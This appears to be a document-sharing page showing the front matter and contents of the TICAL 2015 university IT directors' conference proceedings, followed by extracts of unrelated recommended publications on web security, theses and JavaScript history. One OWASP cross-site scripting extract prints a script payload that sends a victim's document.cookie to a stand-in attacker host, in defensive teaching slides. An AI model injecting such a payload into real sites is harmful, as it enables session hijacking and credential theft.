6 - 8 De Julio, 2015 Red De Directores De Tecnologías De Información Y Viña Del Mar, Chile Comunicación De Las Universidades Latinoamericanas (TICAL)

Total Page:16

File Type:pdf, Size:1020Kb

6 - 8 De Julio, 2015 Red De Directores De Tecnologías De Información Y Viña Del Mar, Chile Comunicación De Las Universidades Latinoamericanas (TICAL) ACTAS Quinta Conferencia de Directores de Tecnología de Información, TICAL 2015 6 - 8 de julio, 2015 Red de Directores de Tecnologías de Información y Viña del Mar, Chile Comunicación de las Universidades Latinoamericanas (TICAL) Una comunidad http://tical2015.redclara.net/ ACTAS TICAL 2015 Casino - Hotel - Centro de Eventos Enjoy, Viña del Mar, Chile 6 al 8 de julio de 2015 Comité de programa: Ernesto Chinkes, Universidad de Buenos Aires. Argentina (Presidente) Ruth Alvarez, Escuela Superior Politécnica del Litoral. Ecuador Fernando Fajardo, Universidad Autónoma de Chile. Chile Roberto Price, Pontificia Universidad Católica de Chile. Chile Ronald Vargas, Universidad Nacional. Costa Rica Gabriel Silva, Universidad Federal Rio de Janeiro. Brasil Nilo Carrasco, Universidad Nacional Mayor de San Marcos. Perú RedCLARA (http://www.redclara.net) Fecha en que se terminó la presente edición: 02-10-2015 ISBN: 978-956-9390-04-3 Copyright de la presente edición: ACTAS TICAL 2015 – Casino - Hotel - Centro de Eventos Enjoy, Viña del Mar, Chile, 6 al 8 de julio de 2015, por RedCLARA, se encuentra bajo una Licencia Creative Commons Atribución-NoComercial-SinDerivadas 3.0 Unported. ACTAS TICAL 2015 Casino - Hotel - Centro de Eventos Enjoy, Viña del Mar, Chile 6 al 8 de julio de 2015 ÍNDICE DE CONTENIDOS SESIÓN INFRAESTRUCTURAS 15 Alternativas para la Integración de Plataformas Propietarias Heterogéneas de VoIP y Datos en redes LAN 31 Pruebas y Análisis de la Movilidad IPv6 en la UNAM 45 SmartWifi, plataforma para la gestión inteligente del acceso a la red inalámbrica. 57 GT-PID: Uma Nuvem IaaS Universitária Geograficamente Distribuída 71 Experiencia en la conformación de un IXP regional 83 REUNA, hacia una Red Fotonica Nacional para Ciencia y Educación 93 Despliegue del Servicio eduroam en el Campus Universitario de la UNMSM 111 Implantación de un servicio de autenticación basado en Shibboleth en la PUCP - Caso de Estudio 123 Uma proposta de arquitetura para melhoria de desempenho no ambiente virtual de aprendizagem Moodle utilizando proxy reverso 137 Proyecto miUNQ: Implementación de una plataforma de Autenticación Centralizada para la utilización de servicios y aplicaciones de la UNQ 145 Experiencia en la renovación TIC de la Universidad de Costa Rica: Proyecto Nube Académica Computacional SESIÓN SOLUCIONES TIC PARA LA ENSEÑANZA 163 Agent SocialMetric: Una Aplicación Práctica de Solución TIC como Soporte a la Enseñanza 179 El uso de plataformas para experimentación en Internet del Futuro para la enseñanza de redes de computadoras 191 Recurso Educativo Abierto Inteligente para la Enseñanza de Contenidos Básicos sobre Suelos: RAICeS 201 Automatización del proceso de evaluación de alumnos para cursos de Anatomía de la Pontificia Universidad Católica de Chile 209 El Laboratorio Remoto FCEIA-UNR: Integración de recursos y trabajo en redes colaborativas para la enseñanza de la Ingeniería 219 Implementações no DSpace para Disponibilização de Recursos Educacionais no Repositório Digital da Universidade Federal do Rio Grande do Sul 227 Aplicación de tecnologías enfocadas a la enseñanza de la arqueología mexicana en la Universidad de Guadalajara 235 Microscopia Virtual: Tecnología al Servicio de la Enseñanza de la Histología/Embriología en Cursos de Ciencias de la Salud 247 Evaluación formativa de profesores utilizando un sistema en línea, experiencia en la Universidad Tecnológica del Perú SESIÓN SOLUCIONES TIC PARA LA INVESTIGACIÓN 257 SIGEVA: surgimiento, desarrollo y transferencia de un sistema para la gestión y evaluación de procesos científicos-tecnológicos 275 Multipresença: um sistema de videoconferência adaptável, escalável e interoperável 287 Desvendando o conceito de CDN e sua aplicabilidade nas Redes Acadêmicas 299 El desarrollo de servicios especializados de la Red Mexicana de Repositorios Mexicanos-REMERI para promover el Acceso Abierto: el INDIXE de Tesis Digitales y el INDIXE de Revistas y Publicaciones Periódicas SESIÓN GOBERNANZA Y ADMINISTRACIÓN DE LAS TIC 307 Impactos Estruturais da Implantação da Governança de TI em uma Universidade Pública 321 Plan institucional para uso y apropiación de las TIC Fundación Universitaria del Área Andina Seccional Pereira 335 Introduzindo ITIL no ambiente acadêmico 349 Neutralidad tecnológica. El caso de la Universidad Estatal a Distancia de Costa Rica 361 Administrando o Caos: Desafios e Oportunidades na Aplicação das Boas Práticas da Governança de TI nas Instituições Públicas de Ensino Brasileiras 379 Modelo de Gestión y Gobierno de Tecnologías de Información en universidades de Colombia: Caso Instituciones de Educación Superior en el Departamento del Cauca 391 Planejamento de TI em universidades: relato dos primeiros anos do PDTI na UFSM SESIÓN SOLUCIONES TIC PARA LA GESTIÓN 403 Informatización de la Gestión Económica Financiera y la Logística de la Universidad de La Habana 415 Aplicación de Inteligencia de Negocios (BI y KPI) en la estrategia de permanencia estudiantil: caso Fundación Universitaria Católica del Norte (Colombia) 429 Experiencia Proyecto Piloto Gestión por Servicios Área Académica 445 Proyecto Delta Integración para una mejor toma de decisiones 457 Gestión de Trámites Académico Administrativos a través del Sistema de Trámites en la Universidad Técnica Particular de Loja 471 Módulo para gerenciamento de eventos do SIEC - Sistema de Informação de Extensão e Cultura da UFG SESIÓN SEGURIDAD DE LA INFORMACIÓN 487 Control Inteligente para el Servicio Crítico de un Sistema de Información en Línea Enmarcado en un Dominio de la ISO/IEC 27002 503 Evaluación de seguridad en Ambientes Virtuales de Aprendizaje AVA – Moodle y Dokeos 517 Seguridad Proactiva en los Sistemas de Gestión eInformación académica: el caso de la UNLP SESIÓN VINCULACIÓN 527 Libras@RNP: o primeiro serviço para surdos da RNP 537 La estrategia de la Universidad de Guadalajara en la implementación de accesibilidad web en los portales universitarios SESIÓN REDES Y COLABORACIÓN 547 Servicios para Fortalecer la Investigación Transatlántica Europea-Latinoamericana 551 NotiCEDIA una alternativa digital a un circuito interinstitucional de TV para promover la comunicación entre la comunidad universitaria PRESENTACIÓN Las universidades transitan tiempos disruptivos, donde se ven obligadas a reflexionar en profundidad cómo abordar sus tres objetivos primarios: enseñanza, investigación y extensión, en medio de una época signada por la globalización, nuevas generaciones nacidas en la era digital, y una sociedad que ha cambiado drásticamente su dinámica de funcionamiento. Desde dicho lugar, las tecnologías de la información y la comunicación se constituyen en elementos sustantivos. En primer término porque ellas lo están cambiando todo y, por lo tanto, son motivadoras de esa transformación social; pero también porque estas tecnologías tienen efectos transformadores únicos. Esas propiedades son habilitadoras de oportunidades, cuando se las usa en forma sinérgica con los objetivos institucionales, o pueden traer efectos nocivos catastróficos cuando no son administradas adecuadamente. Viña del Mar, en el mes de julio de 2015, fue la sede de la Quinta Conferencia TICAL, que permitió debatir estas temáticas desde experiencias concretas de aplicación en universidades de la región, exteriorizando aciertos y errores. TICAL 2015 dejó esa riqueza en la mente de quienes participamos, pero, por suerte, también aportó esta publicación que es la recopilación de los cuarenta y seis (46) trabajos seleccionados y expuestos, sobre un total de ciento setenta y seis (176) que fueron evaluados. Los trabajos publicados responden a los siete ejes temáticos propuestos para la conferencia. Encontrarán, por ejemplo, cómo pueden aplicarse las TIC para mejorar y potenciar la enseñanza mediante los dispositivos móviles y los entornos colaborativos, las posibilidades que están aportando en la investigación los repositorios, las videoconferencias y el acceso remoto a herramientas y datos de otras instituciones; y cómo pueden aplicarse las tecnologías para generar nuevos lazos que mejoren la vinculación de las universidades con la sociedad. También se analizan soluciones que, a partir de sus bases de datos, brindan información para apoyar la toma de decisiones de los niveles directivos y otras sobre sistemas que mejoran la administración de las instituciones, brindando eficiencia y transparencia. Los trabajos de los ejes mencionados en el párrafo previo están más fuertemente relacionados con los objetivos primarios de las universidades, pero se complementan con los tres ejes restantes, y que son los que permiten que todo ello sea posible. Se plantean, por lo tanto, experiencias realizadas en las infraestructuras de redes, servidores, identidades federadas, etc.; prácticas y experiencias aplicadas para lograr una buena gestión y gobernanza, y los temas relativos al manejo de la seguridad de la información de nuestras instituciones. Encontrará en esta publicación,las experiencias TIC de distintas universidades de Argentina, Brasil, Chile, Colombia, Cuba, Costa Rica, Ecuador, México y Venezuela, que fueron consideradas por el comité de programa como las más relevantes para este evento. Espero que el presente documento les sea de utilidad y que los motive para escribir el año próximo el resultado de sus realizaciones. Ello nos permitirá seguir por el camino del crecimiento de nuestras universidades y, a través de ellas, de nuestras sociedades. Ernesto Chinkes Presidente del Comité de Programa TICAL2015 Coordinador General TIC de la Universidad de Buenos Aires 1 SESIÓN
Recommended publications
  • Secure Coding Open Source Libraries for Java Programmers
    Secure Coding Open Source Libraries for Java Programmers Jim Manico @manicode OWASP Volunteer - Global OWASP Board Member Independent Secure Coding Instructor - Developer 17+ years - Secure coding educator - Co-author of "Iron Clad Java Building Secure Web ApplicaGons" from Oracle Press McGraw Hill Kama'aina Resident of Kauai, Hawaii - Aloha! Authen;caon Password Storage Defense Overview • Offline A?acks – Avoid Hashing or Encrypon – Use proper key derivaDon funcDons and stretching configuraons – Use random and unique per-user salts • Less effec;ve against targeted aacks, but use them anyhow – Strict Password Policy – Mul;-Factor Authen;caon reference: Openwall and http://www.openwall.com/presentations Password Storage !Store password based on need "Use a salt (de-duplicaon) "BCRYPT/SCRYPT/PBKDF2 (slow, performance hit, easy) "HMAC (requires good key storage, tough) Allow very complex and long passwords 1) Do not limit the type of characters or length of user password • Limiting passwords to protect against injection is doomed to failure • Use proper encoder and other defenses described instead • Set large password length limits • Django DOS vulnerability Salt passwords uniquely for each user 2) Use a cryptographically strong credential-specific salt protect( salt + password ); • Use a 32char or 64char salt (actual size dependent on protection function); • Do not depend on hiding, splitting, or otherwise obscuring the salt Leverage One-Way Keyed Func;ons 3) Impose difficult verification on [only] the attacker (strong/fast) HMAC-SHA-256( key,
    [Show full text]
  • The Virtual Faraday Cage
    University of Calgary PRISM: University of Calgary's Digital Repository Graduate Studies The Vault: Electronic Theses and Dissertations 2013-08-09 The Virtual Faraday Cage King, James King, J. (2013). The Virtual Faraday Cage (Unpublished master's thesis). University of Calgary, Calgary, AB. doi:10.11575/PRISM/28416 http://hdl.handle.net/11023/867 master thesis University of Calgary graduate students retain copyright ownership and moral rights for their thesis. You may use this material in any way that is permitted by the Copyright Act or through licensing that has been assigned to the document. For uses that are not allowable under copyright legislation or licensing, you are required to seek permission. Downloaded from PRISM: https://prism.ucalgary.ca UNIVERSITY OF CALGARY The Virtual Faraday Cage by James King A THESIS SUBMITTED TO THE FACULTY OF GRADUATE STUDIES IN PARTIAL FULFILLMENT OF THE REQUIREMENTS FOR THE DEGREE OF A MASTERS OF SCIENCE DEPARTMENT OF COMPUTER SCIENCE CALGARY, ALBERTA AUGUST, 2013 c James King 2013 Abstract This thesis' primary contribution is that of a new architecture for web application plat- forms and their extensions, entitled \The Virtual Faraday Cage". This new architecture addresses some of the privacy and security related problems associated with third-party extensions running within web application platforms. A proof-of-concept showing how the Virtual Faraday Cage could be implemented is described. This new architecture aims to help solve some of the key security and privacy con- cerns for end-users in web applications by creating a mechanism by which a third-party could create an extension that works with end-user data, but which could never leak such information back to the third-party.
    [Show full text]
  • Code Injection Vulnerabilities in Web Applications - Exemplified at Cross-Site Scripting Martin Johns
    Dissertation zur Erlangung des akademischen Grades eines Doktors der Naturwissenschaften Code Injection Vulnerabilities in Web Applications - Exemplified at Cross-site Scripting Martin Johns Eingereicht an der Fakult¨atf¨urInformatik und Mathematik der Universit¨atPassau Gutachter: Prof. Dr. Joachim Posegga Prof. Dr. Dieter Gollmann Submitted April 14th 2009, defended July 22nd 2009 2 Abstract The majority of all security problems in today’s Web applications is caused by string- based code injection, with Cross-site Scripting (XSS) being the dominant representative of this vulnerability class. This thesis discusses XSS and suggests defense mechanisms. We do so in three stages: First, we conduct a thorough analysis of JavaScript’s capabilities and explain how these capabilities are utilized in XSS attacks. We subsequently design a systematic, hierarchical classification of XSS payloads. In addition, we present a comprehensive sur- vey of publicly documented XSS payloads which is structured according to our proposed classification scheme. Secondly, we explore defensive mechanisms which dynamically prevent the execution of some payload types without eliminating the actual vulnerability. More specifically, we discuss the design and implementation of countermeasures against the XSS payloads “Session Hijacking”, “Cross-site Request Forgery”, and attacks that target intranet re- sources. We build upon this and introduce a general methodology for developing such countermeasures: We determine a necessary set of basic capabilities an adversary needs for successfully executing an attack through an analysis of the targeted payload type. The resulting countermeasure relies on revoking one of these capabilities, which in turn renders the payload infeasible. Finally, we present two language-based approaches that prevent XSS and related vul- nerabilities: We identify the implicit mixing of data and code during string-based syn- tax assembly as the root cause of string-based code injection attacks.
    [Show full text]
  • Javascript: the First 20 Years
    JavaScript: The First 20 Years ALLEN WIRFS-BROCK, Wirfs-Brock Associates, Inc., USA BRENDAN EICH, Brave Software, Inc., USA Shepherds: Sukyoung Ryu, KAIST, South Korea Richard P. Gabriel: poet, writer, computer scientist How a sidekick scripting language for Java, created at Netscape in a ten-day hack, ships first as a de facto Web standard and eventually becomes the world’s most widely used programming language. This paper tells the story of the creation, design, evolution, and standardization of the JavaScript language over the period of 1995–2015. But the story is not only about the technical details of the language. It is also the story of how people and organizations competed and collaborated to shape the JavaScript language which dominates the Web of 2020. CCS Concepts: • General and reference ! Computing standards, RFCs and guidelines; • Information systems ! World Wide Web; • Social and professional topics ! History of computing; History of programming languages; • Software and its engineering ! General programming languages; Scripting languages. Additional Key Words and Phrases: JavaScript, ECMAScript, Standards, Web browsers, Browser game theory, History of programming languages ACM Reference Format: Allen Wirfs-Brock and Brendan Eich. 2020. JavaScript: The First 20 Years. Proc. ACM Program. Lang. 4, HOPL (June 2020), 190 pages. https://doi.org/10.1145/3386327 1 INTRODUCTION In 2020, the World Wide Web is ubiquitous with over a billion websites accessible from billions of Web-connected devices. Each of those devices runs a Web browser or similar program which is able to process and display pages from those sites. The majority of those pages embed or load source code written in the JavaScript programming language.
    [Show full text]
  • TESIS JOSE MAZA 2018.Pdf
    UNIVERSIDAD PARTICULAR DE CHICLAYO FACULTAD DE ARQUITECTURA Y URBANISMO E INGENIERIAS ESCUELA PROFESIONAL DE INGENIERIA INFORMATICA Y DE SISTEMAS TRABAJO DE SUFICIENCIA PROFESIONAL “IMPLEMENTACIÓN DE UNA APLICACIÓN WEB PARA EL SEGUIMIENTO DE PERSONAS MAYORES DE EDAD UTILIZANDO GEOLOCALIZACIÓN DESDE UN DISPOSITIVO ANDROID CONECTADO A UN SERVIDOR WEB CON MYSQL” PARA OPTAR EL TÍTULO PROFESIONAL DE: INGENIERO INFORMÁTICO Y DE SISTEMAS AUTOR: Bach. Maza Montes Jose Waldir Chiclayo, mayo de 2017 SUSTENTACIÓN DE TRABAJO DE SUFICIENCIA PROFESIONAL TITULO: “IMPLEMENTACIÓN DE UNA APLICACIÓN WEB PARA EL SEGUIMIENTO DE PERSONAS MAYORES DE EDAD UTILIZANDO GEOLOCALIZACIÓN DESDE UN DISPOSITIVO ANDROID CONECTADO A UN SERVIDOR WEB CON MYSQL" Presentado como requisito para optar el Título Profesional de INGENIERO INFORMÁTICO Y DE SISTEMAS, sustentado por: ___________________________________ Jose Waldir Maza Montes Bachiller en Ingeniería Informática y de Sistemas Aprobado por los siguientes Miembros de Jurado: Ing. Cristian Quesada Machado PRESIDENTE Ing. Eduardo Arrascue Becerra SECRETARIO Ing. Luis Aguilar Fernández VOCAL Fecha de Sustentación: Chiclayo, 19 de mayo de 2017 2 DEDICATORIA El presente se lo dedico a mi dios quien supo guiarme por el buen camino, darme fuerzas para seguir adelante y no desmayar en los problemas que se presentaban, enseñándome a encarar las actividades sin perder nunca la dignidad ni desfallecer en el intento. A mi familia quienes por ellos soy lo que soy. Para mis padres por su apoyo consejos, comprensión, amor, ayuda en los momentos difíciles, y por ayudarme con los recursos necesarios para estudiar. Me han dado todo lo que soy como persona, mis valores, mis principios, mi carácter, mi empeño, mi perseverancia, mi coraje para conseguir mis objetivos.
    [Show full text]
  • 3Rd USENIX Conference on Web Application Development (Webapps ’12)
    conference proceedings Proceedings of the 3rd USENIX Conference Application on Web Development 3rd USENIX Conference on Web Application Development (WebApps ’12) Boston, MA, USA June 13, 2012 Boston, MA, USA Sponsored by June 13, 2012 © 2012 by The USENIX Association All Rights Reserved This volume is published as a collective work. Rights to individual papers remain with the author or the author’s employer. Permission is granted for the noncommercial reproduction of the complete work for educational or research purposes. Permission is granted to print, primarily for one person’s exclusive use, a single copy of these Proceedings. USENIX acknowledges all trademarks herein. ISBN 978-931971-94-2 USENIX Association Proceedings of the 3rd USENIX Conference on Web Application Development June 13, 2012 Boston, MA, USA Conference Organizers Program Chair Michael Maximilien, IBM Research—Watson Program Committee Patrick Chanezon, VMware, Inc. Christopher Grier, University of California, Berkeley Robert Johnson, Facebook, Inc. Emre Kıcıman, Microsoft Research Raffi Krikorian, Twitter, Inc. James Mickens, Microsoft Research Subbu Subramanian, Facebook, Inc. Samuel Talmadge King, University of Illinois at Urbana-Champaign The USENIX Association Staff External Reviewers David Huang Ajith Ranabahu WebApps ’12: 3rd USENIX Conference on Web Application Development June 13, 2012 Boston, MA, USA Message from the Program Chair ................................................................ v Wednesday, June 13 11:00–12:30 Papers 1: JavaScript, Social Modeling
    [Show full text]
  • Outcomes & Operational Guide
    Outcomes & Operational Guide Table of Contents Type chapter title (level 1) .............................................................................................................. 1 Type chapter title (level 2) ............................................................................................................ 2 Type chapter title (level 3) ....................................................................................................... 3 Type chapter title (level 1) .............................................................................................................. 4 Type chapter title (level 2) ............................................................................................................ 5 Type chapter title (level 3) ....................................................................................................... 6 Introduction Summit Statistics # Attendees 30 Countries Represented Belgium India Saudi Arabia Brazil Indonesia Slovakia Canada Ireland Singapore China Israel Spain Croatia Italy Sweden Czech Republic Malaysia Switzerland Finland Mexico Syria Germany Netherlands UK Greece Poland United States Hong Kong Portugal Uruguay 44 OWASP Chapters represented Alabama (US) Hong Kong Porto Alegre (Brazil) Atlanta, GA (US) India Portugal Austin, TX (US) Indonesia Recife (Brazil) Bay Area, CA (US) Israel Rochester, NY (US) Belgium Italy Salt Lake, UT (US) Brasilia (Brazil) London (UK) San Antonio, TX (US) Campinas ( Brazil) Long Island, NY (US) Sao Paulo (Brazil) Croatia Malaysia Slovakia
    [Show full text]
  • OWASP Top Ten Proactive Controls 2.0 OWASP : Core Mission
    OWASP Top Ten Proactive Controls 2.0 OWASP : Core Mission The Open Web Application Security Project (OWASP) is a 501c3 not-for-profit also registered in Europe as a worldwide charitable organization focused on improving the security of software. Our mission is to make application security visible, so that people and organizations can make informed decisions about true application security risks. Everyone is welcomed to participate in OWASP and all of our materials are available under free and open software licenses. OWASP Top Ten Proactive Controls v2 … What’s new ? Introducing new " proactive controls " to the Top Ten list. More practical examples (show cases). A large number of contributors from the (non-)OWASP Community. Mobile contents : some best practices to consider when building mobile apps (secure storage, authentication, etc.). OWASP Top Ten Proactive Controls – v2 1A1 – Verify for A2 – Parameterize A3 – Encode Data A4 – Validate All Security Early and Queries Inputs Often A5 – Implement A6 – Implement A7 – Protect Data A8 – Implement Identity and Appropriate Access Logging and Authentication Controls Intrusion Detection Controls A9 – Leverage A10 – Error and Security Exception Handling Frameworks and Libraries C1: Verify For Security Early And Often Verify For Security Early And Often ! Security testing needs to be an integral part of a developer’s software engineering practice. Consider OWASP ASVS as a guide to define security requirements and testing. Convert scanning output into reusable Proactive Controls to avoid entire classes of problems. The DevOps challenge to security … http://fr.slideshare.net/StephendeVries2/continuous-security-testing-with-devops DevOps : continuous delivery pipeline. Mature DevOps velocity is fast : build, test and deploy can be entirely automated.
    [Show full text]
  • Cross Site Scripting Javascript Injection Contextual Output Encoding
    The OWASP Foundation http://www.owasp.org Cross Site Scripting JavaScript Injection Contextual Output Encoding The OWASP Foundation <http://www.owasp.org The OWASP Foundation http://www.owasp.org &lt; Encoding The OWASP Foundation Output http://www.owasp.org Safe ways to represent dangerous characters in a web page HTML Hexadecima Characters Decimal Character Unicode l Set " (double quotation &#34; &#x22; &quot; \u0022 marks) ' (single quotation &#39; &#x27; &apos; \u0027 mark) & &#38; &#x26; &amp; \u0026 (ampersand) < (less than) &#60; &#x3C; &lt; \u003c > (greater &#62; &#x3E; &gt; \u003e than) The OWASP Foundation XSS Attack http://www.owasp.org Payloads – Session Hijacking – Site Defacement – Network Scanning – Undermining CSRF Defenses – Site Redirection/Phishing – Load of Remotely Hosted Scripts – Data Theft – Keystroke Logging – Attackers using XSS more frequently The OWASP Foundation http://www.owasp.org Anatomy of a XSS Attack <script>window.location=‘https://evilev iljim.com/unc/data=‘ + document.cookie;</script> <script>document.body.innerHTML=‘<blink >EOIN IS COOL</blink>’;</script> XSS Defense by Data Type and The OWASP Foundation Context http://www.owasp.org Data Type Context Defense String HTML Body HTML Entity Encode String HTML Attribute Minimal Attribute Encoding String GET Parameter URL Encoding String Untrusted URL URL Validation, avoid javascript: URLs, Attribute encoding, safe URL verification String CSS Strict structural validation, CSS Hex encoding, good design HTML HTML Body HTML Validation (JSoup, AntiSamy, HTML
    [Show full text]
  • Lulu Island Bog Report
    A Biophysical Inventory and Evaluation of the Lulu Island Bog Richmond, British Columbia Neil Davis and Rose Klinkenberg, Editors A project of the Richmond Nature Park Society Ecology Committee 2008 Recommended Citation: Davis, Neil and Rose Klinkenberg (editors). 2008. A Biophysical Inventory and Evaluation of the Lulu Island Bog, Richmond, British Columbia. Richmond Nature Park Society, Richmond, British Columbia. Title page photograph and design: David Blevins Production Editor: Rachel Wiersma Maps and Graphics: Jose Aparicio, Neil Davis, Gary McManus, Rachel Wiersma Publisher: Richmond Nature Park Society Printed by: The City of Richmond Additional Copies: Richmond Nature Park 11851 Westminster Highway Richmond, BC V6X 1B4 E-mail: [email protected] Telephone: 604-718-6188 Fax: 604-718-6189 Copyright Information Copyright © 2008. All material found in this publication is covered by Canadian Copyright Laws. Copyright resides with the authors and photographers. Authors: Lori Bartley, Don Benson, Danielle Cobbaert, Shannon Cressey, Lori Daniels, Neil Davis, Hugh Griffith, Leland Humble, Aerin Jacobs, Bret Jagger, Rex Kenner, Rose Klinkenberg, Brian Klinkenberg, Karen Needham, Margaret North, Patrick Robinson, Colin Sanders, Wilf Schofield, Chris Sears, Terry Taylor, Rob Vandermoor, Rachel Wiersma. Photographers: David Blevins, Kent Brothers, Shannon Cressey, Lori Daniels, Jamie Fenneman, Robert Forsyth, Karen Golinski, Hugh Griffith, Ashley Horne, Stephen Ife, Dave Ingram, Mariko Jagger, Brian Klinkenberg, Rose Klinkenberg, Ian Lane, Fred Lang, Gary Lewis, David Nagorsen, David Shackleton, Rachel Wiersma, Diane Williamson, Alex Fraser Research Forest, Royal British Columbia Museum. Please contact the respective copyright holder for permissions to use materials. They may be reached via the Richmond Nature Park at 604-718-6188, or by contacting the editors: Neil Davis ([email protected]) or Rose Klinkenberg ([email protected]).
    [Show full text]
  • SFTB Project Report
    SFTB Project Report A Visual Music Exploration Web Frontend for Music Streaming Services Robert Thurnher, December 2011 Summary This project is in its essence taking the challenge of implementing a prototype app visualizing tunesBag data in a sonarflow way making use of Last.fm API solely via web technologies. So, enabling to visually access a cloud-based music streaming service in innovative ways. It is aimed to be as much as possible standards-based/compliant (as in “things which got commonly coined under the buzzword term HTML5”) with the web tech being used here. That is, usage of any proprietary technologies such as Adobe Flash should be minimized. As a matter of fact, Flash is only used as a fallback strategy within the audio playback component preferring HTML5 <audio> support whenever available and applicable. Overview More or less everything the app does is actually happening on the client side (browser). The app is made with Node.js. Its code is entirely written in CoffeeScript. Building (-> compiling, minifying, etc. deployable code) and dev running is done with Cake. There’s a small server-side component based on Express basically just serving the HTML/CSS/ JS which makes up the actual app. Production code is hosted on Heroku. Furthermore, Stylus is used as a CSS preprocessor and Eco for client-side templating. Additionally, the app’s code is structured as CommonJS modules being “stitched” together. The app framework of choice here’s Backbone.js keeping the app’s structure itself sane and well designable. This generally provides some kind of MVC-styled container ready to use.
    [Show full text]
  • Programming Flutter Native, Cross-Platform Apps the Easy Way
    Extracted from: Programming Flutter Native, Cross-Platform Apps the Easy Way This PDF file contains pages extracted from Programming Flutter, published by the Pragmatic Bookshelf. For more information or to purchase a paperback or PDF copy, please visit http://www.pragprog.com. Note: This extract contains some colored text (particularly in code listing). This is available only in online versions of the books. The printed versions are black and white. Pagination might vary between the online and printed versions; the content is otherwise identical. Copyright © 2020 The Pragmatic Programmers, LLC. All rights reserved. No part of this publication may be reproduced, stored in a retrieval system, or transmitted, in any form, or by any means, electronic, mechanical, photocopying, recording, or otherwise, without the prior consent of the publisher. The Pragmatic Bookshelf Raleigh, North Carolina Programming Flutter Native, Cross-Platform Apps the Easy Way Carmine Zaccagnino The Pragmatic Bookshelf Raleigh, North Carolina Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and The Pragmatic Programmers, LLC was aware of a trademark claim, the designations have been printed in initial capital letters or in all capitals. The Pragmatic Starter Kit, The Pragmatic Programmer, Pragmatic Programming, Pragmatic Bookshelf, PragProg and the linking g device are trade- marks of The Pragmatic Programmers, LLC. Every precaution was taken in the preparation of this book. However, the publisher assumes no responsibility for errors or omissions, or for damages that may result from the use of information (including program listings) contained herein.
    [Show full text]